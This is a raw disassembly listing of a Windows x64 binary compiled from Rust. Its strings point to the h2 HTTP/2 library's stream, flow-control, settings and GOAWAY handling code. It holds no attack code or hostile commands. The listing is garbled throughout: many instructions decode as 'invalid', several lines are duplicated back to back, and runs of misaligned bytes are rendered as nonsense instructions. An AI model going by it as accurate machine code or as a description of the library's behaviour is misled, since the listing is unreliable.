add byte [r15], r9b
sub byte [rsp + 0x730], dh
mov qword [r13], rax
movaps xmm6, xmmword [rsp + 0x730]
add rsp, 0x748
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rax], 1
jmp 0x1400a7025
mov rcx, rsi
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a4e31
call fcn.140110270
mov r10d, eax
xor r10b, 1
jmp 0x1400a4e34
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
mov bl, 1
mov ebp, 1
mov r14d, 1
lea rsi, [0x1401157d0]
mov r13b, 1
jmp case.0x140070c13.246
movzx ebx, byte [rsp + 0x111]
movzx r15d, word [rsp + 0x112]
mov ebp, dword [rsp + 0x114]
mov rsi, qword [rsp + 0x118]
mov r14, qword [rsp + 0x120]
movdqu xmm0, xmmword [rsp + 0x128]
jmp 0x1400a6498
add dword [rdi + 0xf8], r13d
mov edx, dword [rcx + 0xa0]
xor ebx, ebx
test edx, edx
cmovle edx, ebx
mov r14b, 1
cmp edx, r13d
jae 0x1400a7135
mov eax, 3
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x58], esi
jmp 0x1400a651f
mov rdx, qword [rcx + 0x30]
test rdx, rdx
je 0x1400a74b4
cmp edx, 1
jne 0x1400a7384
test r13, r13
jne 0x1400a7391
jmp 0x1400a74b4
mov dword [rdi + 0xb4], eax
mov eax, dword [rdi + 0xb4]
add eax, r13d
mov bl, 3
jo 0x1400a7172
mov dword [rdi + 0xb4], eax
add byte [rax], al
add byte [rbp + 0x31], al
imul cl
scasd eax, dword [rdi]
invalid
xor r14d, r14d
jmp 0x1400a6529
call fcn.140110270
test al, al
jne 0x1400a6ffb
call fcn.140110270
test al, al
jne 0x1400a64c8
mov byte [rdi + 1], 1
add dword [rcx], eax
jmp 0x1400a64c8
call fcn.140110270
test al, al
jne 0x1400a6e44
xchg ecx, eax
cld
invalid
mov byte [rdi + 1], 1
jmp 0x1400a6e44
cld
invalid
invalid
cld
invalid
call fcn.140110270
test al, al
jne 0x1400a52bc
mov byte [rdi + 1], 1
jmp 0x1400a52bc
call fcn.140110270
test al, al
jne 0x1400a557c
mov byte [rdi + 1], 1
jmp 0x1400a557c
call fcn.140110270
test al, al
jne 0x1400a6f8e
movzx eax, byte [r14 + 1]
test al, al
je 0x1400a5bbc
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x118], r12b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
and al, 0x10
add dword [rax], eax
add byte [rax + rcx*4 - 0x5c], al
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x9721f
jmp 0x1400a7a51
call fcn.140110270
test al, al
jne 0x1400a5286
mov byte [r14 + 1], 1
jmp 0x1400a5286
call fcn.140110270
test al, al
jne 0x1400a66ca
mov byte [r12 + 1], 1
jmp 0x1400a66ca
call fcn.140110270
test al, al
jne 0x1400a554b
mov byte [r14 + 1], 1
jmp 0x1400a554b
call fcn.140110270
test al, al
jne 0x1400a6849
mov byte [r14 + 1], 1
jmp 0x1400a6849
call qword [rax + 0x80]
mov eax, dword [rsp + 0x40]
jmp 0x1400a526f
mov rax, qword [rcx + 0x38]
sub rax, r13
jae 0x1400a74ab
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp qword [r12 + 0x10], r15
jbe 0x1400a78b5
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a78b5
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a78b5
mov eax, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x58], esi
jmp 0x1400a651f
movzx ebx, byte [rsp + 0x3c1]
movzx r15d, word [rsp + 0x3c2]
mov ebp, dword [rsp + 0x3c4]
mov rsi, qword [rsp + 0x3c8]
mov r14, qword [rsp + 0x3d0]
movdqu xmm0, xmmword [rsp + 0x3d8]
movdqa xmmword [rsp + 0x80], xmm0
cmp byte [rsp + 0x60], 0
jne 0x1400a64c8
jmp 0x1400a64b5
call fcn.140110270
xor al, 1
movzx ecx, byte [rsi + 1]
test cl, cl
je 0x1400a53dd
mov qword [rsp + 0x110], rsi
mov byte [rsp + 0x118], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bbb
call fcn.140110270
test al, al
jne 0x1400a6f65
mov byte [r14 + 1], 1
jmp 0x1400a6f65
call fcn.140110270
test al, al
jne 0x1400a662d
mov byte [r14 + 1], 1
jmp 0x1400a662d
mov qword [rcx + 0x38], rax
mov rax, qword [r12 + 0x10]
test byte [rsp + 0x3e4], 1
je 0x1400a7574
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp rax, r15
jbe 0x1400a78b5
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a78b5
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a78b5
cmp dword [rax + 0x30], 2
jne 0x1400a752d
cmp qword [rax + 0x38], 0
je 0x1400a752d
lea rcx, [rsp + 0xc0]
call fcn.1400200a0
mov eax, dword [rax + 0x114]
mov dword [rsp + 0x58], eax
mov eax, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
jmp 0x1400a651f
lea rcx, [rsp + 0xc0]
call fcn.140022e90
lea rdx, [rax + 0x50]
lea r14, [rsp + 0x280]
mov rcx, r14
call fcn.140024bd0
movzx ebx, byte [rsp + 0x280]
mov rcx, r14
call fcn.140024d90
cmp bl, 3
jne 0x1400a777c
mov rax, qword [r12 + 0x10]
lea r11, [rsp + 0x84]
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp rax, r15
jbe 0x1400a78b5
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a78b5
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a78b5
lea rsi, [rdi + 0x68]
cmp byte [rax + 0x128], 0
je 0x1400a75f7
lea rcx, [rsp + 0xc0]
call fcn.140022e90
lea rcx, [rax + 0xa0]
mov edx, r13d
call fcn.140020e30
test eax, eax
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a7786
mov bl, 1
xor r14d, r14d
mov dword [rsp + 0x58], 3
jmp 0x1400a6529
mov qword [rsp + 0x280], 0
lea r8, [rsp + 0x280]
mov rcx, rsi
mov edx, r13d
call fcn.140024d50
mov rax, qword [rsp + 0x280]
test rax, rax
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a7638
mov rcx, qword [rsp + 0x288]
call qword [rax + 0x18]
mov bl, 3
jmp 0x1400a7172
call fcn.140110270
test al, al
jne 0x1400a6768
mov rax, qword [rsp + 0x60]
mov byte [rax + 1], 1
jmp 0x1400a6768
call fcn.140110270
test al, al
jne 0x1400a5406
mov byte [rsi + 1], 1
jmp 0x1400a5406
xor r14d, r14d
mov bl, 1
jmp 0x1400a651f
lea r15, [rsp + 0xc0]
mov rcx, r15
call fcn.140022e90
add dword [rax + 0x11c], r13d
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqa xmm1, xmmword [rsp + 0x3d0]
movdqu xmmword [rsp + 0x128], xmm1
movdqu xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x110], 4
mov rcx, r15
call fcn.140022e90
lea rcx, [rax + 0x18]
lea r8, [rsp + 0x110]
mov rdx, rsi
call fcn.140022f30
mov rcx, r15
call fcn.140022e90
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400a7812
call qword [rdx + 8]
mov bl, 3
mov esi, 1
xor r15d, r15d
mov r13, qword [rsp + 0x48]
jmp 0x1400a6691
lea rax, [rsp + 0x84]
mov qword [rsp + 0x4f0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x4f8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x110]
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108690
lea rax, [rsp + 0x614]
jmp 0x1400a7999
mov qword [rsp + 0x610], r11
lea rax, [0x14001b400]
mov qword [rsp + 0x618], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x2a0], 0
lea rax, [rsp + 0x610]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x280]
call fcn.140108280
lea rax, [rsp + 0x614]
mov qword [rsp + 0x280], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x288], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x110]
call fcn.140108280
lea rax, [rsp + 0x4f4]
mov qword [rsp + 0x3c0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x3c8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x3c0]
jmp 0x1400a7874
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov qword [rsp + 0x20], rax
lea rcx, [0x14013dacd]
lea r9, [0x14013eb88]
lea r8, [rsp + 0xe0]
mov edx, 0xe
call fcn.140108600
lea rcx, [0x140127f60]
lea r8, [0x140127f90]
mov edx, 0x2d
call fcn.140108350
lea rax, [rsp + 0xec]
jmp 0x1400a782e
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], r10b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed28]
lea r8, [rsp + 0x110]
mov edx, 0x2b
call fcn.140108600
lea rcx, str.assertion_failed:_sz___MAX_WINDOW_SIZE_as_usize
lea r8, [0x1401283e8]
mov edx, 0x30
call fcn.140108350
lea rax, str.pending_ping_should_be_for_shutdown
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x120], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
lea rcx, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
call fcn.1401088e0
lea rcx, str.received_unexpected_shutdown_ping
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov edx, 0x21
call fcn.14010cf20
lea rcx, [0x14012840f]
lea r8, [0x140128448]
mov edx, 0x39
call fcn.140108350
lea rcx, [0x1401282bf]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32H
mov edx, 0x31
call fcn.140108350
lea rcx, str.assertion_failed:_stream.state.is_closed__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov edx, 0x2a
call fcn.140108350
add rbx, 0x2c
mov dword [rsp + 0x4f0], edi
mov qword [rsp + 0x280], rbx
lea rax, [0x14001b400]
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x4f0]
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x298], rax
lea rax, str.GOAWAY_stream_IDs_shouldnt_be_higher__last_processed_id____f.last_stream_id___
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 2
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
lea rdx, [0x140127ea0]
lea rcx, [rsp + 0x110]
call fcn.140108280
lea rcx, [0x14013e512]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov edx, 0x37
call fcn.140108350
int3
je 0x1400a7c0e
mov rax, qword [r10 + 0x20]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [r10]
movups xmm1, xmmword [r10 + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
add rsp, 0x40
pop rsi
ret
mov rsi, qword [rsp + 0x70]
mov eax, dword [r10 + 8]
movzx r10d, byte [r10 + 1]
cmp qword [rsi], 0
je 0x1400a7c64
mov r11, qword [rsi + 0x50]
cmp qword [rsi + 8], r11
cmp dword [rsi + 8], ebx
cmp dword [rsi + 8], ebx
ja 0x1400a7c68
mov word [rcx], 0x101
mov dword [rcx + 4], 0xb
lea rax, [0x14013db38]
mov qword [rcx + 8], rax
lea rax, str.too_many_internal_resetsassertion_failed:_self.remote.is_none__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_settings.rs
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0x18
mov qword [rcx + 0x20], 0
add rsp, 0x40
pop rsi
ret
mov r11, qword [rsi + 0x50]
inc r11
mov qword [rsi + 0x50], r11
lea r11, [rdx + 0xa0]
add rdx, 0x140
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r9
mov rsi, rcx
mov rcx, r11
mov edx, eax
mov r9, r8
mov r8d, r10d
call fcn.14008b320
mov byte [rsi], 3
add rsp, 0x40
pop rsi
ret
sub eax, 0x6da15
mov sil, 1
lea rcx, [rsp + 0x2e8]
call fcn.140052130
lea rcx, [rsp + 0x348]
call fcn.14001b4d0
mov r9d, 1
xor r10d, r10d
xor r11d, r11d
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
mov rax, qword [r15 + 0x128]
mov r15, qword [rax]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r15], cl
jne 0x1400a82c8
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
movzx r8d, byte [rsp + 0x43]
jne 0x1400a82f5
xor r12d, r12d
movzx eax, byte [r15 + 1]
test al, al
jne 0x1400a8339
test sil, sil
je 0x1400a7e65
mov byte [rbx], sil
mov byte [rbx + 1], r8b
mov word [rbx + 2], dx
mov eax, dword [rsp + 0x48]
mov dword [rbx + 4], eax
mov qword [rbx + 8], r13
mov qword [rbx + 0x10], r9
mov qword [rbx + 0x18], r11
mov qword [rbx + 0x20], r10
test r12b, r12b
jne 0x1400a8012
jmp 0x1400a7fff
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
cmp qword [rbp], 0
je 0x1400a7fbd
mov rcx, qword [rbp + 0x50]
cmp qword [rbp + 8], rcx
ja 0x1400a7fc1
mov r8b, 1
mov dword [rsp + 0x48], 0xb
lea r13, [0x14013db38]
lea r9, str.too_many_internal_resetsassertion_failed:_self.remote.is_none__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_settings.rs
mov r11d, 0x18
xor r10d, r10d
mov sil, 1
jmp 0x1400a7e35
mov rcx, qword [rbp + 0x50]
lea r9, [r15 + 8]
inc rcx
mov qword [rbp + 0x50], rcx
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], r14
mov edx, r13d
call fcn.14008b320
mov dword [rbx + 4], 0
mov byte [rbx], 3
test r12b, r12b
jne 0x1400a8012
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a8375
xor eax, eax
xchg byte [r15], al
cmp al, 2
mov esi, dword [rsp + 0x4c]
jne 0x1400a8028
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp esi, 0x3b9aca00
setne r8b
mov rcx, rbp
mov rdx, r14
mov edx, esi
mov edx, esi
call fcn.14001fa50
nop
add rsp, 0x4a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x47], al
mov r8d, 0xb0
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x98], rax
cwde
add byte [rax], al
add al, ch
mov ebx, 0x400005e1
mov byte [rsp + 0x1a8], dh
cwde
add byte [rax], al
add al, ch
mov ebx, 0x400005e1
mov byte [rsp + 0x1a8], dh
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x1a9], al
movzx eax, word [rsp + 0x44]
mov word [rsp + 0x1aa], ax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x1ac], eax
mov qword [rsp + 0x1b0], r13
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x1a0], rax
movups xmm0, xmmword [0x140142ee0]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [0x140142ed0]
movaps xmmword [rsp + 0xb0], xmm0
sub dword [rsp + 0xb0], eax
sub dword [rsp + 0xb0], eax
lea rcx, [rsp + 0x1a0]
lea rdx, [rsp + 0xb0]
call fcn.140022d40
mov r13, rax
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x1400a8161
lea rcx, [rsp + 0xc8]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
test r13, r13
je 0x1400a81c4
mov rax, qword [r13 + 0x10]
cmp rax, 0x13
ja 0x1400a8290
test rax, rax
je 0x1400a81c4
mov rcx, qword [r13 + 8]
xor edx, edx
xor r8d, r8d
nop word cs:[rax + rax]
movzx r9d, byte [rcx + rdx]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x1400a8290
lea r8, [r8 + r8*4]
add r9b, 0xd0
movzx r9d, r9b
lea r8, [r9 + r8*2]
inc rdx
cmp rax, rdx
jne 0x1400a8190
test r8, r8
jne 0x1400a8290
movzx eax, byte [rsp + 0x258]
and al, 0xb
cmp al, 1
jne 0x1400a8290
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], r12d
cmp qword [r14 + 0x10], rdi
jbe 0x1400a8502
mov r13, qword [r14 + 8]
cmp dword [r13 + rbp], 2
je 0x1400a8502
add r13, rbp
cmp dword [r13 + 0x114], r12d
movsd dword [rdi], dword [rsi]
adc al, 1
add byte [rax], al
movsd dword [rdi], dword [rsi]
adc al, 1
add byte [rax], al
jne 0x1400a8502
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x1a0]
mov r8d, 0xe0
call fcn.140106250
mov qword [rsp + 0xb0], 0
mov rsi, qword [rsp + 0xa0]
mov r15, qword [rsi + 0x20]
lea r8, [rsp + 0xb0]
mov rcx, rsi
mov rdx, r15
call fcn.140023110
cmp qword [r13 + 0x18], 0
je 0x1400a838c
mov rax, qword [r13 + 0x28]
cmp rax, qword [rsi + 0x10]
jae 0x1400a854f
imul rax, rax, 0xf0
add rax, qword [rsi + 8]
cmp dword [rax], 2
je 0x1400a854f
add r13, 0x28
mov qword [rax], 1
mov qword [rax + 8], r15
jmp 0x1400a839c
lea rcx, [rsp + 0x1a0]
call fcn.140002f70
mov r13d, 1
mov ebp, 1
mov ebp, 1
xor esi, esi
mov r14, qword [rsp + 0x78]
js 0x1400a82f3
mov ebp, dword [rsp + 0x70]
js 0x1400a82f3
mov ebp, dword [rsp + 0x70]
movzx edx, word [rsp + 0x44]
mov r9, qword [rsp + 0x68]
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x58]
jmp 0x1400a7dee
mov rcx, r15
mov word [rsp + 0x44], dx
mov r12, r9
mov qword [rsp + 0x60], r10
mov rdi, r11
fucompi st(0)
sar byte [rsi + 6], 1
add byte [rcx - 0x77], cl
sti
fucompi st(0)
sar byte [rsi + 6], 1
add byte [rcx - 0x77], cl
sti
mov r10, qword [rsp + 0x60]
mov r9, r12
movzx edx, word [rsp + 0x44]
jmp 0x1400a7e07
invalid
mov byte [rsp + 0x43], r8b
mov r12d, edx
mov qword [rsp + 0x68], r9
mov rdi, r10
mov qword [rsp + 0x58], r11
call fcn.140110270
mov r11, qword [rsp + 0x58]
pop rsp
and al, 0x58
pop rsp
and al, 0x58
mov r10, rdi
mov r9, qword [rsp + 0x68]
mov edx, r12d
movzx r8d, byte [rsp + 0x43]
mov r12d, eax
xor r12b, 1
movzx eax, byte [r15 + 1]
test al, al
je 0x1400a7e30
mov qword [rsp + 0x2e8], r15
mov byte [rsp + 0x2f0], r12b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed28]
lea r8, [rsp + 0x2e8]
mov edx, 0x2b
call fcn.140108600
call fcn.140110270
test al, al
jne 0x1400a8012
mov byte [r15 + 1], 1
jmp 0x1400a8012
mov qword [r13 + 0x18], 1
add dword [rax], eax
add byte [rax], al
mov qword [r13 + 0x20], r15
add r13, 0x28
mov qword [r13], r15
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], r12d
cmp qword [r14 + 0x10], rdi
jbe 0x1400a8502
mov rax, qword [r14 + 8]
cmp dword [rax + rbp], 2
cmp al, 0x28
add cl, byte [rdi]
test byte [rcx + 1], al
add byte [rax], al
cmp al, 0x28
add cl, byte [rdi]
test byte [rcx + 1], al
add byte [rax], al
add rax, rbp
cmp dword [rax + 0x114], r12d
jne 0x1400a8502
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400a83f2
call qword [rdx + 8]
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
mov dword [rbx + 4], 1
mov dword [rbx + 8], edi
mov dword [rbx + 0xc], r12d
mov byte [rbx], 3
mov esi, dword [rsp + 0x4c]
jmp 0x1400a8028
test byte [rsp + riz*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff72fd3
mov qword [rsp + 0xb8], rax
lea rax, str.dangling_store_key_for_stream_id
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x801b4
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], 1
mov qword [rsp + 0x308], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x2e8]
call fcn.140108280
lea rax, [rsp + 0x84]
mov qword [rsp + 0x1a0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x1a8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 1
mov qword [rsp + 0xd0], 0
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*4], ah
add dword [rax], eax
invalid
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xc8], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov dword [rsp + 0xc8], 1
mov dword [rsp + 0xc8], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0xb0]
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
jle 0x1400a84fd
call fcn.140108280
add eax, 0x448d4800
and al, 0x54
lea rax, [rsp + 0x54]
mov qword [rsp + 0x80], rax
lea rax, [0x14001b400]
add byte [rax], 0
add byte [rax - 0x73], cl
add eax, 0xfff72eea
mov qword [rsp + 0x88], rax
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x800cb
mov byte [rax], al
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 1
mov dword [rsp + 0xb8], 1
and al, 0xb0
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov dword [rsp + 0xb8], 1
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
and al, 0xd0
mov qword [rsp + 0xd0], 0
lea rax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add bl, ch
invalid
and al, 0xd0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*4], ah
and al, 0x80
and al, 0x80
add byte [rax], al
add bl, ch
mov ecx, dword [rax - 0x73]
lea ecx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea rcx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea ecx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
add byte [rdx + 0xb], bh
call fcn.1401088c0
int3
int3
lea rdx, [rsp + 0x24]
mov dword [rsp + 0x24], eax
cmp qword [r9 + 0x10], r8
jbe 0x1400a8651
mov r10, qword [r9 + 8]
imul r11, r8, 0x130
add byte [rbx - 0x7d], al
cmp al, 0x1a
invalid
add byte [rbx - 0x7d], al
cmp al, 0x1a
add cl, byte [rdi]
test byte [rbp + 0x4d000000], ah
add edx, ebx
cmp dword [rdx + rbx], 2
je 0x1400a8651
add r10, r11
cmp dword [r10 + 0x114], eax
cmp dword [rdx + 0x114], eax
adc al, 1
add byte [rax], al
jne 0x1400a8651
add byte [rax], al
cmp byte [r10 + 0x126], 0
je case.0x140068ed1.273
add rsp, 0x68
invalid
ret
mov byte [r10 + 0x126], 1
cmp dword [rcx], 0
cmp dword [rax], eax
cmp dword [rax], eax
je 0x1400a8635
mov r11d, dword [rcx + 0xc]
mov r10d, dword [rcx + 0x10]
mov dword [rsp + 0x20], r11d
mov dword [rsp + 0x24], r10d
cmp qword [r9 + 0x10], r11
jbe 0x1400a86a4
mov r9, qword [r9 + 8]
imul r11, r11, 0x130
cmp dword [r9 + r11], 2
sbb dword [rdx], eax
sbb dword [rdx], eax
je 0x1400a86a4
add r9, r11
cmp dword [r9 + 0x114], r10d
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
jne 0x1400a86a4
mov dword [r9 + 0xdc], 1
mov dword [rcx + 0xdc], 1
sbb esp, 0x1000000
add byte [rax], al
add byte [rbp - 0x77], al
and eax, 0x41000000
loopne 0x1400a862a
add byte [rax], al
mov dword [r9 + 0xe4], eax
mov dword [r9 + 0xe0], r8d
loopne 0x1400a862a
add byte [rax], al
mov dword [r9 + 0xe4], eax
jmp 0x1400a8642
mov dword [rcx], 1
mov dword [rcx + 4], r8d
mov dword [rcx + 8], eax
invalid
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x41], al
add al, 0x89
or byte [r9 + rcx*4 + 0x41], al
or al, 0x48
add ecx, 0x10
mov dword [rcx + 0xc], r8d
add rcx, 0x10
mov dword [rcx], eax
add rsp, 0x68
ret
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x28], edx
lea rax, [0x14001b400]
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
and al, 0x38
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
mov qword [rsp + 0x50], 1
